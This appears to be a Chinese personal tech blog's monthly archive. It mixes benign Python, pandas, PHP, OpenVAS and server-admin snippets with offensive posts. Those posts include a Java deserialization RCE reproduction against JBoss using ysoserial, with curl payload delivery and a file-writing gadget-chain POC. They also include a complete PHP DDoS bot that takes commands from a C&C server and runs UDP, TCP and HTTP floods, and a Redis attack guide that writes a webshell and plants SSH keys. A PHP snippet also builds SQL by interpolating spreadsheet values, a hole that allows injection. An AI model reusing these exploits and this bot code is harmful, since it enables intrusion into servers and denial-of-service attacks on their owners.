月度归档:2015年11月

openvas 修改默认跳转端口

  • vim /etc/init.d/openvas-gsa
    > 修改如下代码
    SCRIPTNAME=/etc/init.d/$NAME
    HTTP_PORT=81 #添加端口号变量
    。。。。。。。
    。。。。。。
    [ -n "$PORT_NUMBER" ] && DAEMON_ARGS="$DAEMON_ARGS --port=$PORT_NUMBER"
    [ -n "$HTTP_PORT" ] && DAEMON_ARGS="$DAEMON_ARGS --rport=$HTTP_PORT" #添加行

    > 这样修改后 默认的HTTP跳转端口就变为81,就不会和正常的HTTP服务相冲突了。
    > 更多参数请见:
    gsad --help

python代码收集mark

#binascii.a2b_hex 中can’t decode byte 0xxx in position 0: invalid start byte 

t1_b=binascii.a2b_hex(t1).decode("utf8")
改为
t1_b=binascii.a2b_hex(t1).decode("latin-1")

#python的websocket客户端

#自定义header头,比如 Sec-WebSocket-Key User-Agent 等

#发送二进制数据

import binascii
from websocket import create_connection
import websocket

# 也可以使用 ws4py  websocket客户端口
websocket.enableTrace(True)

headers={
    'Sec-WebSocket-Key':"Pa5xaVO8tqOgJckKVrRw8A==",  #可自定义Sec-WebSocket-Key等参数
    'User-Agent':"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36",
    'Pragma':"no-cache",
    'Accept-Encoding':"gzip, deflate, br",
    'Accept-Language':"zh-CN,zh;q=0.9",
    'Cache-Control':"no-cache",
    'Sec-WebSocket-Extensions':"permessage-deflate; client_max_window_bits",
}
ws = create_connection('wss://aaa-home.xxx.net.cn:7443/xxx',header=headers,origin="https://www.xxx.com")
t1 = b"3b10021a3708052a1122334465616d3204302e3161"
t1_b=binascii.a2b_hex(t1).decode("utf8")
ws.send(t1_b,websocket.ABNF.OPCODE_BINARY)  #如果发送的有非可见字符,请一定要加上 websocket.ABNF.OPCODE_BINARY打开BINARY发送模式
result = ws.recv()
print(binascii.b2a_hex(result))

#python打印异常

try:
    abc("jj")
except Exception as e:
    print(e)
    traceback.print_exc(file=sys.stdout)
    logging.exception(sys.exc_info())

#python抛出异常

raise NameError("trad more than 20 times Exception,")

#python 中将字符串变为对象

import json
import ast

a_item ='{"abc":123,"def":"strs"}'
a_item_obj = json.loads(a_item)
a_item_obj = eval(a_item)
a_item_obj = ast.literal_eval(a_item)

#将base64字符串还原成文件

import base64
s1 = "UEsxxxxx"
str_url = base64.b64decode(s1)
f =open("test1.zip","wb")
f.write(str_url)
f.close()

#pandas显示所有的行

import pandas as pd
pd.set_option('display.max_rows', None)

#python下sqlite fetchall 通过数据库字段名获取数据

con = sqlite3.connect("n1.db", isolation_level=None)
con.row_factory = sqlite3.Row
cur = con.cursor()
sql="select * from sol_config"
cur.execute(sql)
dbinfo = cur.fetchall()
for i, a_item in enumerate(dbinfo):
    print(a_item["recision"])

#不进行四舍五入格式化小数

#不进行四舍五入的格式化小数
def format_float(float_num,n):
    f_str = str(float_num)
    a,b,c = f_str.partition(".")
    c=(c+"0"*n)[:n]
    tmp=".".join([a,c])
    return float(tmp)

#时间字符串

now_time_str = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())

now_time_str = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(int(xxxxx)))

#python下变量赋值与复制

a=[[1,2,3],[4,5,6]]
b=a
c=copy.copy(a)
d = copy.deepcopy(a)

a.append(15)
a[0][2]=10
print(a)
print(b)
print(c)
print(d)

exit()
#一般的变量赋值建议使用  copy.deepcopy()   新变量的改变不影响旧变量

#针对list中包含dict的复合list,根据dict中的某一项来排序

#比如:[{'score': '3', 'result_score': '3', 'unixtime': '1629003111', 'ior': '0.21', 'min': 72}, {'score': '2', 'result_score': '2', 'unixtime': '1629001091', 'ior': '0.31', 'min': 72}]
def sort_list(lista):
    result = sorted(lista, key=lambda e: e['unixtime'], reverse=False)
    return result

#对DICT按值的方式来排序

from collections import OrderedDict
def sort_value(old_dict, reverse=False):
    """对字典按 value 排序, 默认升序, 不修改原先字典"""
    # 获取按 value 排序后的元组列表
    items = sorted(old_dict.items(), key=lambda obj: obj[1], reverse=reverse)
    # 创建一个新的空字典
    #new_dict = OrderedDict()
    new_dict = {}
    # 遍历 items 列表
    for item in items:
        # item[0] 存的是 key 值
        new_dict[item[0]] = old_dict[item[0]]
    return new_dict
test = {'btc': 9226.720902895535, 'eth': 9403.350935794595, 'sushi': 8564.392076686521, 'xrp': 10930.388706268746, 'doge': 28985.881812138876}
print(sort_value(test,True))

#计算均线斜率

import math
#可以换为5日 15日 30日 均线
ma20=100
ma19=300 #20日的前1日的20日均线
slope=math.atan((ma20/ma19-1)*100)*180/3.1415926
print(slope)

#获取某市场上所有的BTC交易对

huobipro = ccxt.huobipro()
markets = huobipro.load_markets()
for key, value in markets.items():
    if value['quote'] != 'USDT':
        continue
    if value['active'] !=True:
        continue
    if value['info']['state'] != 'online':
        continue
    print(value['id'])
    print("%s/%s" %(value['baseId'].upper(),value['quoteId'].upper()))

huobipro = ccxt.huobipro()
markets = huobipro.load_markets()
result_base = []
for key, value in markets.items():
    if value['quote'] != 'USDT':
        continue
    if value['active'] !=True:
        continue
    if value['info']['state'] != 'online':
        continue
    result_base.append(value['baseId'])

print(result_base)
exit()

#字符串时间转unix时间

time_str = '2021-01-23 20:00:00+08:00'
time_str = time_str.replace('+08:00','')
tt= int(time.mktime(time.strptime(time_str, '%Y-%m-%d %H:%M:%S')))
print(tt)

micro_sec = int(time.time()*1000)
unix_str = int(time.time())

#unix时间转字符串时间

now_time_str = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
now_time_str = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(int("1284101485")))

#命令行参数

sys.argv[1]   #python xxx.py abc

#获取list长度

list_len = len(history_json['data'])

#Python3 字典dict判断是否包含键值–in 操作符

dict={"name":"alice","age":7}
if 'age' in dict:
   print('键age存在')

#取下一行的时间

    #df['index_next_time'] = df.index.shift(-1) #直接这样子取会出错 所以向下面这样中转一下
    df['index_time'] = df.index
    df['index_next_time'] = df['index_time'].shift(-1)

#遍历dict

for key, value in markets.items():

#遍历list

for i, symbol_tmp in enumerate(symbol_list):

#两个List的并集

common_base_list = list(set(symbol_crex24).intersection(set(symbol_huobi)))

# 某一列顺序下移

df['macd_yestody'] = df['macd'].shift(1)

#取最后一行

df.iloc[-1]
signal = df.iloc[-1]['signal']

#获取 index的内容

row["time"] #time为索引,这样取索引会出错
row.name   #这样取出来就为time索引字段的内容
row["open"] #其它非索引字段还是按以前这样子取

#死叉

condition1 = df['kama10'].shift(2) > df['kama100'].shift(2)
condition2 = df['kama10'].shift(1) < df['kama100'].shift(1)
df.loc[condition1 & condition2, 'sell_sign'] = 1

#金叉

condition1 = df['kama10'].shift(2) < df['kama100'].shift(2)
condition2 = df['kama10'].shift(1) > df['kama100'].shift(1)
df.loc[condition1 & condition2, 'buy_sign'] = 1

#股票软件中的macd的计算方法是 (dif – dea)*2 。 所以, 我们需要将talib计算出的macd值*2

df['diff_new'],df['dea_new'],df['macd_new'] = talib.MACD(np.array(close),fastperiod=12, slowperiod=26, signalperiod=9)
df['macd_new'] = df['macd_new']*2

#获取详细的值进行计算

ax=df.tail(1).index
a_row=df.loc[ax]
print(a_row["open"].values[0])

#两种办法计算均线

df['MTMMA'] = df['MTM'].rolling(6).mean()
等同于
mtm = [float(x) for x in df['MTM']]
df['MTMMA_new'] = talib.MA(np.array(mtm), timeperiod=6)

#与前几个对比, 相差的百分比为多少

df['pct1'] = df['close'].pct_change(1)
df['pct2'] = df['close'].pct_change(2)

#df 删除前多少行

df = df.drop(df.head(100).index)

#获取指定index名称的指定列

s_low = df.loc['2020-11-22 14:30:00+08:00','open']

#获取指定index名称的行

s_low = df.loc['2020-11-22 14:30:00+08:00']

#针对 df[‘id’] 不是index列的情况

df['time']=pd.to_datetime(df['id'], unit='s').apply(lambda x: x.tz_localize('UTC').tz_convert('Asia/Shanghai'))

#转换时间

#tz_localize/tz_convert作用于对象的INDEX,而不作用于值。最简单地将其转换为索引然后进行本地化和转换。如果您随后想要系列,可以使用to_series()
df['time'] = pd.to_datetime(df['id'], unit='s')
df['time'] = pd.to_datetime(df['id'], unit='s',utc=False).tz_localize('Asia/Shanghai')
df['time'] = pd.to_datetime(df['id'], unit='s',utc=True).tz_convert('Asia/Shanghai')

#重命名列名

df.rename(columns={0: 'candle_begin_time', 1: 'open', 2: 'high', 3: 'low', 4: 'close', 5: 'volume'}, inplace=True)

#填充缺失数据

fillna()  #method='ffill' 取前面/上面的值来填充  method='bfill' 取后面/下面的值来填充
df['pos'].fillna(method='ffill', inplace=True)

df.at[len(df) - 1, 'sell_next_open_change'] = 0 #设置最后一行的 sell_next_open_change 单元格为0

#临近的两个不能相同

temp = temp[temp['signal'] != temp['signal'].shift(1)]

#两列相加

df['signal'] = df[['signal_long', 'signal_short']].sum(axis=1, skipna=True)

#指定的列去重

df.drop_duplicates(subset=['signal_long', 'signal_short'], inplace=True)

#排序   降序

results_df = _a_tmpdf.sort_values(by='init_money',ascending=False)

#遍历df 并设置某一列的值

for index, row in df.iterrows():
    if row['high']>row['ma144'] and row['last_macd_buy_sign'] == 1 and coinnum==0:
        df.loc[index,"coinnum"]=1


_a_tmpdf = pd.DataFrame()
_a_tmpdf = _a_tmpdf.append({'key_name': keys, "init_money": init_money}, ignore_index=True)

#遍历df

for index, row in tmpdf.iterrows():

#删除指定的列

df.drop('unix_time',axis=1,inplace=True)

#删除NaN的行

df.dropna(subset=['open'], inplace=True)

#只显示部份列

print(df.tail(20)[['macd','diff','dea','diff_new','dea_new','macd_new']])

#===选取时间段

df = df[df['candle_begin_time'] >= '2017-01-01']
df = df[df.index >= '2021-02-13 05:41:00+08:00']
df = df[df.index >= '2021-02-13 05:41:00']

df = df[pd.isna(df['ma10'])]   #筛选ma10 为NaN的行
df = df[pd.notna(df['ma10'])]  #筛选ma10 不为NaN的行

df =df[pd.notna(df['signal_long']) | pd.notna(df['signal_short'])]  # 筛选 signal_long 列不为NaN 或者 signal_short列不为NaN

#筛选行数据

df = df[df.index == '2020-10-07 14:35:00']
df = df[df['count'] == 123]

#pandasr

reindex(), set_index()和reset_index()
df.set_index('time', inplace=True)

#gzip

response = ast.literal_eval(gzip.decompress(message).decode('utf-8'))

#查看当前unix时间的年月日 小时 分 秒

import datetime
import time

#time模块
month = time.localtime().tm_mon
day = time.localtime().tm_mday
hour = time.localtime().tm_hour
minute = time.localtime().tm_min

#datetime模块
month =datetime.datetime.now().month
day =datetime.datetime.now().day
hour =datetime.datetime.now().hour
minute =datetime.datetime.now().minute

print(month)

## 1 flask 中jinjia2的日期格式化
* 添加filter到app的环境变量中
“`python
#unix日期格式化。并可提供到jinjia模板中
def dateformat(value, format=”%Y-%m-%d %H:%M:%S”):
value=int(value)
value = time.localtime(value)
return time.strftime(format,value)
app = Flask(__name__)
app.debug = True
app.jinja_env.filters[‘dateformat’] = dateformat
………..
@app.route(‘/test’)
def test():
abc=’1447405576′
return render_template(‘t.html’,info=abc)
#in template
{% include “head.html” %}

  • {{info|dateformat(“%Y-%m-%d”)}}

{% include “footer.html” %}
“`

#代理校验 proxy

import json
from requests import *
import time

#vproxy 来自https://github.com/fate0/getproxy
proxyresult=[]
def checka():
    for proxy in open("vproxy.txt"):
        proxyobj = json.loads(proxy)
        _validate_proxy(proxyobj)
    print "the end"

def _validate_proxy(proxy):
    country = proxy.get('country')
    host = proxy.get('host')
    port = proxy.get('port')
    scheme=proxy.get('type')

    proxy_hash = '%s://%s:%s' % (scheme, host, port)
    request_proxies = {
        scheme: "%s:%s" % (host, port)
    }
    request_begin = time.time()
    #"%s://httpbin.org/get?show_env=1&cur=%s" % (scheme, request_begin),
    try:
        response_json = get(
            "%s://www.so-cools.com/get?show_env=1&cur=%s" % (scheme, request_begin),
            proxies=request_proxies,
            timeout=5
        ).json()
    except:
        return

    request_end = time.time()

    if str(request_begin) != response_json.get('args', {}).get('cur', ''):
        return
    print {'host':host,'port':port,'scheme':scheme,'response_time':request_end-request_begin}
    proxyresult.append({'host':host,'port':port,'scheme':scheme,'response_time':request_end-request_begin})


checka()
proxyresult.sort(key = lambda x:x["response_time"])
print proxyresult

#快速指数算法

def quick_mod(a,p,n):   
    result = a % n  
    remainders = []  
    while p != 1:  
        remainders.append(p & 1)  
        p = p >> 1  
    print(remainders)  
    while remainders:  
        rem = remainders.pop()  
        result = ((a ** rem) * result ** 2) % n  
    return result  


#xx=quick_mod(225,29,323)       
#xx=quick_mod(2,56,1001)
#xx=quick_mod(62,65,133)
#xx=quick_mod(2,1000,89)
#xx=quick_mod(3,201,11)
#xx=quick_mod(4,201,11)
xx=quick_mod(2,1000,89)
print xx

代码片断收集

1 生成excel

<?php
include "PHPExcel.php";
$lines=file("result351.txt");
$objPHPExcel = new PHPExcel();
$num=1;
$objPHPExcel->getActiveSheet()->setCellValue('A'.$num, "线上开始时间");
$objPHPExcel->getActiveSheet()->setCellValue('B'.$num, "线上结束时间");
$objPHPExcel->getActiveSheet()->setCellValue('C'.$num, "excel开始时间");
$objPHPExcel->getActiveSheet()->setCellValue('D'.$num, "excel结束时间");
$objPHPExcel->getActiveSheet()->setCellValue('E'.$num, "合同号");
$num=2;

foreach($lines as $v){
    $line_array=explode('|',$v);
    $online_startime=$line_array[0];
    $online_stoptime=$line_array[1];
    $excel_startime=$line_array[2];
    $excel_stoptime=$line_array[3];
    $online_startime_array=explode(':',$online_startime);
    $a_online_startime=$online_startime_array[1];
    $online_stoptime_array=explode(':',$online_stoptime);
    $a_online_stoptime=$online_stoptime_array[1];
    $excel_startime_array=explode(":",$excel_startime);
    $a_excel_startime=$excel_startime_array[1];
    $excel_stoptime_array=explode(":",$excel_stoptime);
    $a_excel_stoptime=$excel_stoptime_array[1];

    list($xx,$htnum)=explode(":",$line_array[4]);

    $objPHPExcel->getActiveSheet()->setCellValue('A'.$num, $a_online_startime);
    $objPHPExcel->getActiveSheet()->setCellValue('B'.$num, $a_online_stoptime);
    $objPHPExcel->getActiveSheet()->setCellValue('C'.$num, $a_excel_startime);
    $objPHPExcel->getActiveSheet()->setCellValue('D'.$num, $a_excel_stoptime);
    $objPHPExcel->getActiveSheet()->setCellValue('E'.$num, $htnum);
    $num=$num+1;
}
$name="11111";
header('Content-Type: application/vnd.ms-excel');
header('Content-Disposition: attachment;filename="'.$name.'.xls"');
header('Cache-Control: max-age=0');
$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');
$objWriter->save('php://output');

//php二维数组排序 
    usort($array, function($a, $b) {
        $astimel = strtotime($a['start_time']);
        $bstimel = strtotime($b['start_time']);
        if ($astimel == $bstimel)
            return 0;
        return ($astimel < $bstimel) ? -1 : 1;
    });



//phpexcel导入 

require_once('PHPExcel/IOFactory.php');
$filePath = '123.xls';
$fileType = PHPExcel_IOFactory::identify($filePath); //文件名自动判断文件类型
$objReader = PHPExcel_IOFactory::createReader($fileType);
$objPHPExcel = $objReader->load($filePath);

$currentSheet = $objPHPExcel->getSheet(0); //第一个工作簿
$allRow = $currentSheet->getHighestRow(); //行数
$result=array();
for($currentRow = 2;$currentRow<=$allRow;$currentRow++) {
    $name = (string)$currentSheet->getCell('G'.$currentRow)->getValue();//
    $jc = (string)$currentSheet->getCell('AG'.$currentRow)->getValue();//
    $bh = (string)$currentSheet->getCell('D'.$currentRow)->getValue();//编号
    $contract_number = (string)$currentSheet->getCell('E'.$currentRow)->getValue();
    //$startime = excelTime($currentSheet->getCell('J'.$currentRow)->getValue());
    $startime=gmdate("Y-m-d H:i:s",PHPExcel_Shared_Date::ExcelToPHP($currentSheet->getCell('J'.$currentRow)->getValue()));
    //$endtime = excelTime($currentSheet->getCell('K'.$currentRow)->getValue());
    $endtime=gmdate("Y-m-d H:i:s",PHPExcel_Shared_Date::ExcelToPHP($currentSheet->getCell('K'.$currentRow)->getValue()));
    if(empty($bh)){
        continue;
    }
    mysql_query("insert into info set company_name='{$name}',jc='{$jc}',supplier_number='{$bh}',contract_number='{$contract_number}',startime='{$startime}',endtime='{$endtime}' ");
}

#php计算两个日期之间的天数,并遍历出具体的天数

<?php
$t_min = 1473621998;
$t_max = 1479961998;

//by the way 1
$d_min = date('Y-m-d',$t_min);
$d_max = date('Y-m-d',$t_max);
$d_min_unix = strtotime($d_min);
$d_max_unix = strtotime($d_max);

$t_current = $d_min_unix;
while ($t_current <= $d_max_unix){
    $tmp = date('Y-m-d',$t_current);
    echo $tmp."<br>";
    $t_current = strtotime("+1 day",$t_current);
}


//by the way 2
for($curent=$t_min;$curent<=$t_max;$curent=strtotime("+1 day",$curent)){
    $tmp = date('Y-m-d',$curent);
    echo $tmp."<br>";
}

java objectinputstream rce漏洞的原理简单介绍与重现

java objectinputstream rce漏洞的原理简单介绍与重现

1.原理 (跟php的反序列化的对象注入很类似)

> 一些web应用会使用objectinputstream去作反序列化,接收用户输入,开发者一般会用objectinputstream去读入一个特定的对象,比如是某种javabean之类的.
> 但攻击者完全可以提供其他对象序列化之后的bytestream, 因为java的特性, 虽然这个读入的object最终会在类型转换时出现classcastexception,但这个对象事实上已经创建了,其构造函数和类构造函数都已经被调用,也就是事实上已经有了受限制的函数执行
> 那么下面就是找哪些类的构造函数,提供了执行代码的能力? 研究者们发现了如果一个应用classpath中使用了common-collections,那么就有了非常好用的ChainedTransformer和InvokerTransformer,后者甚至构造函数中直接提供了根据传入的类名和函数名反射执行之的能力!
> 这几个Transformer实现了transform函数,其中InvokerTransformer根据对象构造时提供的参数反射执行之,ChaindTransformer将几个transformer串起来线性执行.
> 那么谁来调用这些transformer? TransformedMap可以接受这些transformer作为参数, 在调用其setValue函数时,就会去执行transformer,触发代码执行.
> 那么谁又来调用这个transformedMap的setValue? 到目前为止我们只是埋好了雷,需要一个会自己踩上去的, 而且还是serializable的, 并且其实现了自定义的反序列化函数,在函数中接受传入的TransformedMap并调用了setValue
> sun.reflect.annotation.AnnotationInvocationHandler满足这些条件!
> 于是, exp就是构造一个AnnotationInvocationHandler,将含有攻击代码(runtime.exec)的transformer集合在一起作为map, 传入给handler作为参数.将此handler序列化为bytestream,直接发送给被攻击的web应用!
> 也就是说,这里common-collections库只是提供了代码执行的一个vector,就像ROP/JOP这些内存破坏漏洞利用技巧一样,但其并不是真正的漏洞.漏洞还是开发者在对外暴露的接口上自己随意使用ObjectInputStream

漏洞重现

  • 安装JAVA环境先,然后安装JBOSS
    shell
    wget -O jboss-4.2.3.zip http://sourceforge.net/projects/jboss/files/JBoss/JBoss-4.2.3.GA/jboss-4.2.3.GA-jdk6.zip/download
    unzip jboss-4.2.3.zip
    mv jboss-4.2.3.GA /usr/local/share/jboss
    adduser appserver
    chown -R appserver /usr/local/share/jboss
    su -l appserver
    cd /usr/local/share/jboss/bin
    ./run.sh -b 0.0.0.0
  • exploit 利用程序
    shell
    wget https://github.com/frohoff/ysoserial/releases/download/v0.0.2/ysoserial-0.0.2-all.jar
    java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'touch /tmp/pwned' &gt; /tmp/payload
    curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://127.0.0.1:8080/invoker/JMXInvokerServlet
  • 测试
curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://127.0.0.1:8080/invoker/JMXInvokerServlet
  • 生成文件POC
    java
    package ysoserial.payloads;
    import java.lang.reflect.InvocationHandler;
    import java.util.HashMap;
    import java.util.Map;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import ysoserial.payloads.annotation.Dependencies;
    import ysoserial.payloads.util.Gadgets;
    import ysoserial.payloads.util.PayloadRunner;
    import ysoserial.payloads.util.Reflections;
    @SuppressWarnings({"rawtypes", "unchecked"})
    @Dependencies({"commons-collections:commons-collections:3.1"})
    public class CommonsCollections1file extends PayloadRunner implements ObjectPayload{
    public InvocationHandler getObject(final String command) throws Exception {
    final String[] argcs = command.split("#xxoo#");
    String[] file_content=new String[]{};
    String file_path="";
    try {
    file_path = argcs[0];
    file_content = new String[] {argcs[1]};
    }catch (Exception e){
    System.out.println("Wrong parameters!");
    System.exit(0);
    }
    if (file_path.length()==0 || file_content.length==0) {
    System.out.println("Wrong parameters!");
    System.exit(0);
    }
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(java.io.PrintWriter.class),
    new InvokerTransformer("getConstructor", new Class[] {Class[].class}, new Object[] {
    new Class[]{String.class}}),
    new InvokerTransformer("newInstance", new Class[] {
    Object[].class}, new Object[] {new Object[]{file_path}}),
    new InvokerTransformer("append",
    new Class[] { CharSequence.class }, file_content),
    new InvokerTransformer("close",
    new Class[]{}, new Object[]{}),
    new ConstantTransformer(1) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
    return handler;
    }
    public static void main(final String[] args) throws Exception {
    PayloadRunner.run(CommonsCollections1file.class, args);
    }
    }
      参考

php ddos 也玩 C & C

php ddos 也玩 C & C

木马C&C思路运用得很早。像什么灰鸽子等,后来各种新技术的出现。C&C控制木马技术运行得更加灵活。
前几天在一国外服务器找到一个PHPDDOS的样本,就类似思路, 就相当于有一个任务服务器。 phpddos脚本直接去取任务就OK了,
原代码写得太烂,估计是查查资料写的。所有就对原代码作了下简单优化。

<?php
set_time_limit(0);
ignore_user_abort(true);
function genstring($length, $letters = '1234567890QWERTYUIOPASDFGHJKLZXCVBNM'){
    $s = '';
    $lettersLength = strlen($letters)-1;
    for($i = 0 ; $i < $length ; $i++)
    {
        $s .= $letters[rand(0,$lettersLength)];
    }
    return $s;
}
$fp = fsockopen("xxx.xxx.xxx.xxx",53,$errno,$errstr,30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
    exit;
}
$result=array();
$i=0;
while (!feof($fp)) {
    $command =  fgets($fp, 128);
    $result[]=$command;
}
fclose($fp);
while(1){
    foreach($result as $v){
        if(!$v){
            continue;
        }
        switch ($v){
            case stristr($v,'dup'):
                exit;
                break;
            case stristr($v,'LOLNOGTFO'):
                exit;
                break;
            case strstr($v,'UDP'):
                udp($v);
                break;
            case strstr($v,'TCP'):
                tcp($v);
                break;
            case strstr($v,'SOURCE'):
                source($v);
                break;
            case strstr($v,'HTTP'):
                http($v);
                break;
            case strstr($v,'CF'):
                cf($v);
                break;
        }
    }
}
//udp flood
function udp($command){
    $commands = explode(" ",$command);
    $ip = $commands[2];
    $time = $commands[4];
    $port = $commands[3];
    $packetsize = $commands[6];
    $envtime = time();
    $max_time = $envtime+$time;
    $packetsend = genstring($packetsize);
    $fp2 = fsockopen("udp://" . $ip, $port, $errno, $errstr);
    while(1){
        if (!$fp2) {
        } else {
            fwrite($fp2, $packetsend);
        }
        if(time() > $max_time)
        {
            fclose($fp2);
            break ;
        }
    }
}
//tcp flood
function tcp($command){
    $commands = explode(" ",$command);
    $ip = $commands[2];
    $time = $commands[4];
    $port = $commands[3];
    $packetsize = $commands[6];
    $envtime = time();
    $max_time = $envtime+$time;
    $packetsend = genstring($packetsize);
    $fp2 = fsockopen("tcp://" . $ip, $port, $errno, $errstr);
    while(1){
        if (!$fp2) {
        } else {
            fwrite($fp2, $packetsend);
        }
        if(time() > $max_time)
        {
            fclose($fp2);
            break;
        }
    }
}
//source
function source($command){
    $commands = explode(" ",$command);
    $ip = $commands[2];
    $time = $commands[4];
    $port = $commands[3];
    $packetsize = $commands[6];
    $envtime = time();
    $max_time = $envtime+$time;
    $fp2 = fsockopen("udp://" . $ip, $port, $errno, $errstr);
    $packetsend = genstring($packetsize);
    while(1){
        if (!$fp2) {
        } else {
            fwrite($fp2, "\xFF\xFF\xFF\xFF\x54");
            fwrite($fp2, "\xFF\xFF\xFF\xFF\x55");
            fwrite($fp2, "\xFF\xFF\xFF\xFF\x56");
        }
        if(time() > $max_time)
        {
            fclose($fp2);
            break;
        }
    }
}
//http
function http($command){
    $commands = explode(" ",$command);
    $ip = $commands[2];
    $time = $commands[6];
    $port = $commands[5];
    $website = $commands[3];
    $page = $commands[4];
    $envtime = time();
    $max_time = $envtime+$time;
    $fp2 = fsockopen("tcp://" . $ip, $port, $errno, $errstr);
    while(1){
        if (!$fp2) {
        } else {
            $out = "GET ". $page . "?" . rand(1,50000000)." HTTP/1.1\r\n";
            $out .= "Host: " . $website ."\r\n";
            fwrite($fp2, $out);
        }
        if(time() > $max_time)
        {
            fclose($fp2);
            break;
        }
    }
}
//cf
function cf($command){
    $commands = explode(" ",$command);
    $ip = $commands[2];
    $ip2 = $commands[3];
    $time = $commands[7];
    $port = $commands[6];
    $website = $commands[4];
    $page = $commands[5];
    $envtime = time();
    $max_time = $envtime+$time;
    $fp2 = fsockopen("tcp://" . $ip, $port, $errno, $errstr);
    $fp3 = fsockopen("tcp://" . $ip2, $port, $errno, $errstr);
    while(1){
        if (!$fp2) {
        } else {
            $out = "GET ". $page . "?" . rand(1,50000000)." HTTP/1.1\r\n";
            $out .= "Host: " . $website ."\r\n";
            fwrite($fp2, $out);
            fwrite($fp3, $out);
        }
        if(time() > $max_time)
        {
            fclose($fp2);
            fclose($fp3);
            break;
        }
    }
}
?>

由于XXXX 服务控制端的代码就不贴了。以免有放发黑客工具的嫌疑

阿里云 centos 6.5 yum 升级内核

阿里云 centos 6.5 yum 升级内核

centos6.5的内核版本太低,不想重做系统,编译源码太累,所以直接yum

  1. 先添加yum源

    centos 7:

    rpm -Uvh http://www.elrepo.org/elrepo-release-7.0-2.el7.elrepo.noarch.rpm
    

    centos 6.x

    rpm -Uvh http://www.elrepo.org/elrepo-release-6-6.el6.elrepo.noarch.rpm
    

    导入KEY

    rpm --import https://www.elrepo.org/RPM-GPG-KEY-elrepo.org
    
  2. yum安装

    yum --enablerepo=elrepo-kernel install kernel-lt
    
  3. 修改grub

    vi /etc/grub.conf 修改默认的启动内核,新安装的内核一般在第一个,这里把default = 1 改为 default = 0 就好了

  4. 最后重启系统

    uname -a 查看内核版本号是否升级成功

nginx被使用的常见功能

nginx被使用的常见功能

>Nginx (“engine x”)是一个高性能的HTTP和反向代理服务器,也是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器

1.负载均衡实现可扩展的浏量管理

>通过Nginx实现负载均衡将给你所需要的控制权,用来管理并扩展您的Web和移动应用。它提供了一个完整的基于软件应用的分发平台的解决方案,只消耗一小部分的硬件来平衡HTTP和TCP应用的负载。最大限度地提高您的网站和应用程序的可用性和可靠性,并尽量减少失望的客户和损失的收入。

2.改造升级的Web服务器

>Nginx是现代Web应用的HTTP操作系统。无论是分发内容还是流媒体视频或音频,或者部署复杂的Web服务,Nginx都是连接用户和应用的最佳平台。Nginx的高性能,高效率的HTTP处理引擎负责处理桌面,移动,和API交互,而这些任务都能在路由转发请求到正确的服务之前进行有效处理。企业部署Nginx来管理与HTTP相关的复杂度和风险,使他们的Web应用程序变得反应更灵敏,扩展性更强,更快速,更安全。

3.快速和可扩展的视频传送

>如果有人正在销售一个产品,培训一个新的用户,或提供一个企业信息。然而,提供高质量的视频内容给多样化的客户群是个问题,因为在这样的情况下交付质量容易迅速降低。用户希望你的视频在任何设备上能立即加载,就像世界上最流行的媒体一样。
Nginx可以帮助一些世界领先的流媒体公司提供快速、完美的内容。通过Nginx,可以可靠地将流视频和音频内容转发的任何设备–通过适当的访问控制,带宽管理和会话持久性可以进一步增强这个特性。

4.加速Web和移动端性能

>Nginx是功能强大的Web加速解决方案来提升网站和应用的性能。通过Nginx,你的网页加载速度更快所以您的客户花费更少的时间等待,从而提高客户满意度,转换率,和收入。

5.保护应用安全

>保护网络应用不仅是保护数据,而且也意味着保持网站在面对恶意流量能正常运行。Nginx软件包就结合了这两个特点来为网站和应用提供全面的保护。

6.为API提供安全保障和使用策略

>随着API在应用程序内爆炸式地增长,确保他们的受保护,被追踪它,和可量化变得非常关键。Nginx是一个管理安全的基于HTTP API流量的可信平台。通过领先的API管理平台的杠杆,Nginx将提供快速,可靠,可扩展,和安全的API为基础的服务。

7.取代昂贵的ADC硬件负载平衡器

>Nginx是一个完整的软件应用分发平台,只需要少量地消耗ADC硬件,就能获得利用商品硬件或云基础设施得到相同的功能和性能。由于在吞吐量和连接方面没有限制,Nginx允许应用充分发挥自身的潜能。

redis安全利用

redis安全利用

利用前提

  • redis没有设置登陆密码,或者已经知道了redis的密码信息
  • 对应的目录有权限,redis以root权限启动或者目标目录的权限为777

写webshell

  • 开了web并且知道路径(比如:phpinfo)
  • 连接上redis控制台 执行如下命令
    config set dir /home/wwwroot/default/
    config set dbfilename redis.php
    set webshell "<?php phpinfo(); ?>"
    save

SSH远程连接

  • 先生成本地的公私密钥

    ssh-keygen -t rsa
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
    
  • 先清空缓存和设置生成文件路径

    redis-cli -h 172.17.0.2 flushall
    cat foo.txt | redis-cli -h 172.17.0.2 -x set crackit
    redis-cli -h 172.17.0.2
    config set dir /home/yzy/.ssh/
    config set dbfilename "authorized_keys"
    save
    
  • 注意:此种方法需要先清空全部缓存,比较暴力哦!!